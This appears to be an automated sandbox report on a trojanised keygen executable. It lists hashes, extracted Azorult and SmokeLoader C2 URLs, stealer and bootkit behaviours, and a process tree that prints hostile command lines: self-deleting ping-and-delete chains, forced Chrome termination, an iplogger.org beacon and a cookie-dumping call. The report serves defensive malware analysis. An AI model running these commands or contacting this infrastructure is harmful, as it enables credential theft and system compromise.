Analysis

  • max time kernel
    150s
  • max time network
    144s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    13-02-2021 10:45

General

  • Target

    Palo_Alto_Business_Plan_Pro_serial_key_gen.exe

  • Size

    9.0MB

  • MD5

    efb9f6994cbacf25a09260a6dea2e097

  • SHA1

    28dce13f68b89a4402a557a336c280400129999b

  • SHA256

    9a2895ec90f431962ab8ad4ae4f6808049f7ca629d92c61fb200e788d096c7dd

  • SHA512

    c8b2f89f162896cc9ba50daed06fbb92e4e84f73aa6a85da185e342fb096f535594e791488ac8595cfdf474418b59f1ba9507ff536059cdee0b0ce0288da3b0e

Malware Config

Extracted

Family

azorult

C2

http://kvaka.li/1210776429.php

Extracted

Family

smokeloader

Version

2020

C2

http://naritouzina.net/

http://nukaraguasleep.net/

http://notfortuaj.net/

http://natuturalistic.net/

http://zaniolofusa.net/

rc4.i32
rc4.i32

Signatures

  • Azorult

    An information stealer that was first discovered in 2016, targeting browsing history and passwords.

  • PlugX

    PlugX is a RAT (Remote Access Trojan) that has been around since 2008.

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Executes dropped EXE 27 IoCs
  • Suspicious Office macro 1 IoCs

    Office document equipped with 4.0 macros.

  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Loads dropped DLL 64 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • themida 1 IoCs

    Detects Themida, Advanced Windows software protection system.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 48 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Writes to the Master Boot Record (MBR) 1 TTPs 4 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Drops file in Program Files directory 48 IoCs
  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies data under HKEY_USERS 18 IoCs
  • Modifies system certificate store 2 TTPs 13 IoCs
  • Runs ping.exe 1 TTPs 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Palo_Alto_Business_Plan_Pro_serial_key_gen.exe
    "C:\Users\Admin\AppData\Local\Temp\Palo_Alto_Business_Plan_Pro_serial_key_gen.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1012
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1376
      • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exe
        keygen-pr.exe -p83fsase3Ge
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:1604
        • C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe
          "C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:1660
          • C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe
            C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe -txt -scanlocal -file:potato.dat
            5⤵
              PID:932
        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe
          keygen-step-3.exe
          3⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:2016
          • C:\Windows\SysWOW64\cmd.exe
            cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:572
            • C:\Windows\SysWOW64\PING.EXE
              ping 1.1.1.1 -n 1 -w 3000
              5⤵
              • Runs ping.exe
              PID:920
        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exe
          keygen-step-4.exe
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:1160
          • C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe
            "C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe"
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Writes to the Master Boot Record (MBR)
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Modifies system certificate store
            • Suspicious use of WriteProcessMemory
            PID:1172
            • C:\Windows\SysWOW64\msiexec.exe
              msiexec.exe /i "C:\Users\Admin\AppData\Local\Temp\gdiview.msi"
              5⤵
              • Enumerates connected drives
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of FindShellTrayWindow
              PID:1004
            • C:\Users\Admin\AppData\Local\Temp\6489A2274AE24900.exe
              C:\Users\Admin\AppData\Local\Temp\6489A2274AE24900.exe 0011 installp1
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Writes to the Master Boot Record (MBR)
              • Suspicious use of SetThreadContext
              PID:316
              • C:\Program Files\Mozilla Firefox\firefox.exe
                "C:\Program Files\Mozilla Firefox\firefox.exe"
                6⤵
                  PID:544
                • C:\Program Files\Mozilla Firefox\firefox.exe
                  "C:\Program Files\Mozilla Firefox\firefox.exe"
                  6⤵
                    PID:2056
                  • C:\Program Files\Mozilla Firefox\firefox.exe
                    "C:\Program Files\Mozilla Firefox\firefox.exe"
                    6⤵
                      PID:2180
                    • C:\Users\Admin\AppData\Local\Temp\download\ThunderFW.exe
                      C:\Users\Admin\AppData\Local\Temp\download\ThunderFW.exe ThunderFW "C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe"
                      6⤵
                      • Executes dropped EXE
                      PID:2796
                    • C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe
                      "C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe" -StartTP
                      6⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      • Writes to the Master Boot Record (MBR)
                      PID:2856
                    • C:\Users\Admin\AppData\Local\Temp\23E04C4F32EF2158.exe
                      C:\Users\Admin\AppData\Local\Temp\23E04C4F32EF2158.exe /silent
                      6⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      PID:2992
                      • C:\Users\Admin\AppData\Local\Temp\is-D1MM2.tmp\23E04C4F32EF2158.tmp
                        "C:\Users\Admin\AppData\Local\Temp\is-D1MM2.tmp\23E04C4F32EF2158.tmp" /SL5="$6020A,815708,121344,C:\Users\Admin\AppData\Local\Temp\23E04C4F32EF2158.exe" /silent
                        7⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        • Drops file in Program Files directory
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of FindShellTrayWindow
                        PID:3008
                        • C:\Program Files (x86)\HappyNewYear\seed.sfx.exe
                          "C:\Program Files (x86)\HappyNewYear\seed.sfx.exe" -pX7mdks39WE0 -s1
                          8⤵
                          • Executes dropped EXE
                          • Drops file in Program Files directory
                          PID:3048
                          • C:\Program Files (x86)\Seed Trade\Seed\seed.exe
                            "C:\Program Files (x86)\Seed Trade\Seed\seed.exe"
                            9⤵
                            • Executes dropped EXE
                            • Checks SCSI registry key(s)
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious behavior: MapViewOfSection
                            PID:2204
                        • C:\Windows\SysWOW64\cmd.exe
                          "cmd.exe" /c "start https://iplogger.org/14Zhe7"
                          8⤵
                            PID:3060
                            • C:\Program Files\Internet Explorer\iexplore.exe
                              "C:\Program Files\Internet Explorer\iexplore.exe" https://iplogger.org/14Zhe7
                              9⤵
                              • Modifies Internet Explorer settings
                              • Suspicious use of FindShellTrayWindow
                              • Suspicious use of SetWindowsHookEx
                              PID:2072
                              • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                                "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2072 CREDAT:275457 /prefetch:2
                                10⤵
                                • Modifies Internet Explorer settings
                                • Suspicious use of SetWindowsHookEx
                                PID:2080
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\6489A2274AE24900.exe"
                        6⤵
                          PID:2284
                          • C:\Windows\SysWOW64\PING.EXE
                            ping 127.0.0.1 -n 3
                            7⤵
                            • Runs ping.exe
                            PID:2408
                      • C:\Users\Admin\AppData\Local\Temp\6489A2274AE24900.exe
                        C:\Users\Admin\AppData\Local\Temp\6489A2274AE24900.exe 200 installp1
                        5⤵
                        • Executes dropped EXE
                        • Writes to the Master Boot Record (MBR)
                        PID:1648
                        • C:\Windows\SysWOW64\cmd.exe
                          cmd.exe /c taskkill /f /im chrome.exe
                          6⤵
                            PID:1924
                            • C:\Windows\SysWOW64\taskkill.exe
                              taskkill /f /im chrome.exe
                              7⤵
                              • Kills process with taskkill
                              PID:1556
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\6489A2274AE24900.exe"
                            6⤵
                              PID:1372
                              • C:\Windows\SysWOW64\PING.EXE
                                ping 127.0.0.1 -n 3
                                7⤵
                                • Runs ping.exe
                                PID:1664
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe"
                            5⤵
                              PID:1484
                              • C:\Windows\SysWOW64\PING.EXE
                                ping 127.0.0.1 -n 3
                                6⤵
                                • Runs ping.exe
                                PID:288
                          • C:\Users\Admin\AppData\Local\Temp\RarSFX1\md2_2efs.exe
                            "C:\Users\Admin\AppData\Local\Temp\RarSFX1\md2_2efs.exe"
                            4⤵
                            • Executes dropped EXE
                            • Modifies system certificate store
                            PID:1112
                          • C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe
                            "C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe"
                            4⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            • Modifies data under HKEY_USERS
                            • Modifies system certificate store
                            • Suspicious behavior: EnumeratesProcesses
                            PID:1376
                            • C:\Users\Admin\AppData\Roaming\2906.tmp.exe
                              "C:\Users\Admin\AppData\Roaming\2906.tmp.exe"
                              5⤵
                              • Executes dropped EXE
                              • Suspicious use of SetThreadContext
                              PID:324
                              • C:\Users\Admin\AppData\Roaming\2906.tmp.exe
                                "C:\Users\Admin\AppData\Roaming\2906.tmp.exe"
                                6⤵
                                • Executes dropped EXE
                                • Checks processor information in registry
                                • Suspicious behavior: EnumeratesProcesses
                                PID:1500
                            • C:\Windows\SysWOW64\cmd.exe
                              "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe"
                              5⤵
                                PID:2088
                                • C:\Windows\SysWOW64\PING.EXE
                                  ping 127.0.0.1
                                  6⤵
                                  • Runs ping.exe
                                  PID:2136
                            • C:\Users\Admin\AppData\Local\Temp\RarSFX1\BTRSetp.exe
                              "C:\Users\Admin\AppData\Local\Temp\RarSFX1\BTRSetp.exe"
                              4⤵
                              • Executes dropped EXE
                              • Loads dropped DLL
                              PID:2124
                              • C:\Users\Admin\AppData\Local\Temp\RarSFX3\installer.exe
                                "C:\Users\Admin\AppData\Local\Temp\RarSFX3\installer.exe"
                                5⤵
                                • Executes dropped EXE
                                PID:2228
                                • C:\ProgramData\4883241.53
                                  "C:\ProgramData\4883241.53"
                                  6⤵
                                  • Executes dropped EXE
                                  PID:2340
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 2340 -s 516
                                    7⤵
                                    • Loads dropped DLL
                                    • Program crash
                                    • Suspicious behavior: EnumeratesProcesses
                                    PID:2552
                                • C:\ProgramData\7894125.86
                                  "C:\ProgramData\7894125.86"
                                  6⤵
                                  • Executes dropped EXE
                                  • Loads dropped DLL
                                  • Adds Run key to start application
                                  PID:2360
                                  • C:\ProgramData\Windows Host\Windows Host.exe
                                    "C:\ProgramData\Windows Host\Windows Host.exe"
                                    7⤵
                                    • Executes dropped EXE
                                    PID:2620
                                • C:\ProgramData\1566686.17
                                  "C:\ProgramData\1566686.17"
                                  6⤵
                                  • Executes dropped EXE
                                  • Checks BIOS information in registry
                                  • Checks whether UAC is enabled
                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                  • Modifies system certificate store
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:2384
                            • C:\Users\Admin\AppData\Local\Temp\RarSFX1\gdrrr.exe
                              "C:\Users\Admin\AppData\Local\Temp\RarSFX1\gdrrr.exe"
                              4⤵
                              • Executes dropped EXE
                              • Loads dropped DLL
                              • Adds Run key to start application
                              PID:2432
                              • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                5⤵
                                • Executes dropped EXE
                                PID:2472
                              • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                5⤵
                                • Executes dropped EXE
                                • Suspicious behavior: EnumeratesProcesses
                                PID:2744
                          • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exe
                            keygen-step-1.exe
                            3⤵
                            • Executes dropped EXE
                            PID:436
                      • C:\Windows\system32\msiexec.exe
                        C:\Windows\system32\msiexec.exe /V
                        1⤵
                        • Enumerates connected drives
                        • Suspicious use of AdjustPrivilegeToken
                        • Suspicious use of WriteProcessMemory
                        PID:1076
                        • C:\Windows\syswow64\MsiExec.exe
                          C:\Windows\syswow64\MsiExec.exe -Embedding B6C1ADB257C0A4742E0EC4314DDDF854 C
                          2⤵
                          • Loads dropped DLL
                          PID:1816

                      Network

                      MITRE ATT&CK Enterprise v6

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • memory/316-76-0x0000000010000000-0x000000001033D000-memory.dmp

                        Filesize

                        3.2MB

                      • memory/316-82-0x00000000036A0000-0x0000000003B4F000-memory.dmp

                        Filesize

                        4.7MB

                      • memory/324-111-0x0000000000220000-0x0000000000265000-memory.dmp

                        Filesize

                        276KB

                      • memory/324-103-0x0000000000780000-0x0000000000791000-memory.dmp

                        Filesize

                        68KB

                      • memory/544-87-0x0000000000060000-0x0000000000061000-memory.dmp

                        Filesize

                        4KB

                      • memory/544-86-0x0000000010000000-0x0000000010057000-memory.dmp

                        Filesize

                        348KB

                      • memory/1012-3-0x0000000002450000-0x0000000002451000-memory.dmp

                        Filesize

                        4KB

                      • memory/1012-2-0x00000000761E1000-0x00000000761E3000-memory.dmp

                        Filesize

                        8KB

                      • memory/1076-54-0x000007FEFC601000-0x000007FEFC603000-memory.dmp

                        Filesize

                        8KB

                      • memory/1112-79-0x0000000073EC0000-0x0000000074063000-memory.dmp

                        Filesize

                        1.6MB

                      • memory/1172-50-0x0000000010000000-0x000000001033D000-memory.dmp

                        Filesize

                        3.2MB

                      • memory/1248-200-0x0000000002B00000-0x0000000002B16000-memory.dmp

                        Filesize

                        88KB

                      • memory/1376-101-0x0000000002D40000-0x0000000002D8C000-memory.dmp

                        Filesize

                        304KB

                      • memory/1376-93-0x0000000000020000-0x000000000002D000-memory.dmp

                        Filesize

                        52KB

                      • memory/1500-105-0x0000000000400000-0x0000000000448000-memory.dmp

                        Filesize

                        288KB

                      • memory/1500-112-0x0000000000400000-0x0000000000448000-memory.dmp

                        Filesize

                        288KB

                      • memory/1552-29-0x000007FEF7D90000-0x000007FEF800A000-memory.dmp

                        Filesize

                        2.5MB

                      • memory/1648-81-0x0000000003590000-0x0000000003A3F000-memory.dmp

                        Filesize

                        4.7MB

                      • memory/1660-45-0x00000000023D0000-0x000000000256C000-memory.dmp

                        Filesize

                        1.6MB

                      • memory/2056-115-0x0000000000860000-0x0000000000861000-memory.dmp

                        Filesize

                        4KB

                      • memory/2204-193-0x0000000004F20000-0x0000000004F31000-memory.dmp

                        Filesize

                        68KB

                      • memory/2204-196-0x0000000000030000-0x000000000003A000-memory.dmp

                        Filesize

                        40KB

                      • memory/2204-195-0x0000000000020000-0x000000000002A000-memory.dmp

                        Filesize

                        40KB

                      • memory/2204-197-0x0000000000400000-0x000000000040A000-memory.dmp

                        Filesize

                        40KB

                      • memory/2228-135-0x000007FEF5AE0000-0x000007FEF64CC000-memory.dmp

                        Filesize

                        9.9MB

                      • memory/2228-146-0x0000000000AA0000-0x0000000000AA2000-memory.dmp

                        Filesize

                        8KB

                      • memory/2228-136-0x0000000001330000-0x0000000001331000-memory.dmp

                        Filesize

                        4KB

                      • memory/2228-139-0x0000000000230000-0x0000000000231000-memory.dmp

                        Filesize

                        4KB

                      • memory/2228-140-0x0000000000240000-0x000000000025E000-memory.dmp

                        Filesize

                        120KB

                      • memory/2228-141-0x0000000000260000-0x0000000000261000-memory.dmp

                        Filesize

                        4KB

                      • memory/2340-143-0x0000000073980000-0x000000007406E000-memory.dmp

                        Filesize

                        6.9MB

                      • memory/2340-156-0x00000000000C0000-0x00000000000C1000-memory.dmp

                        Filesize

                        4KB

                      • memory/2360-145-0x0000000073980000-0x000000007406E000-memory.dmp

                        Filesize

                        6.9MB

                      • memory/2360-163-0x0000000000340000-0x000000000034B000-memory.dmp

                        Filesize

                        44KB

                      • memory/2360-159-0x0000000000140000-0x0000000000141000-memory.dmp

                        Filesize

                        4KB

                      • memory/2360-166-0x00000000048C0000-0x00000000048C1000-memory.dmp

                        Filesize

                        4KB

                      • memory/2384-167-0x00000000029C0000-0x00000000029C1000-memory.dmp

                        Filesize

                        4KB

                      • memory/2384-155-0x00000000001A0000-0x00000000001A1000-memory.dmp

                        Filesize

                        4KB

                      • memory/2384-152-0x0000000073980000-0x000000007406E000-memory.dmp

                        Filesize

                        6.9MB

                      • memory/2552-162-0x0000000001D10000-0x0000000001D21000-memory.dmp

                        Filesize

                        68KB

                      • memory/2552-172-0x0000000002340000-0x0000000002341000-memory.dmp

                        Filesize

                        4KB

                      • memory/2620-165-0x0000000073980000-0x000000007406E000-memory.dmp

                        Filesize

                        6.9MB

                      • memory/2620-171-0x0000000004C10000-0x0000000004C11000-memory.dmp

                        Filesize

                        4KB

                      • memory/2620-168-0x0000000000D50000-0x0000000000D51000-memory.dmp

                        Filesize

                        4KB

                      • memory/2856-188-0x000000000C8D0000-0x000000000C8D1000-memory.dmp

                        Filesize

                        4KB

                      • memory/2992-183-0x0000000000401000-0x000000000040C000-memory.dmp

                        Filesize

                        44KB

                      • memory/3008-184-0x0000000000240000-0x0000000000241000-memory.dmp

                        Filesize

                        4KB

                      • memory/3008-182-0x0000000070591000-0x0000000070593000-memory.dmp

                        Filesize

                        8KB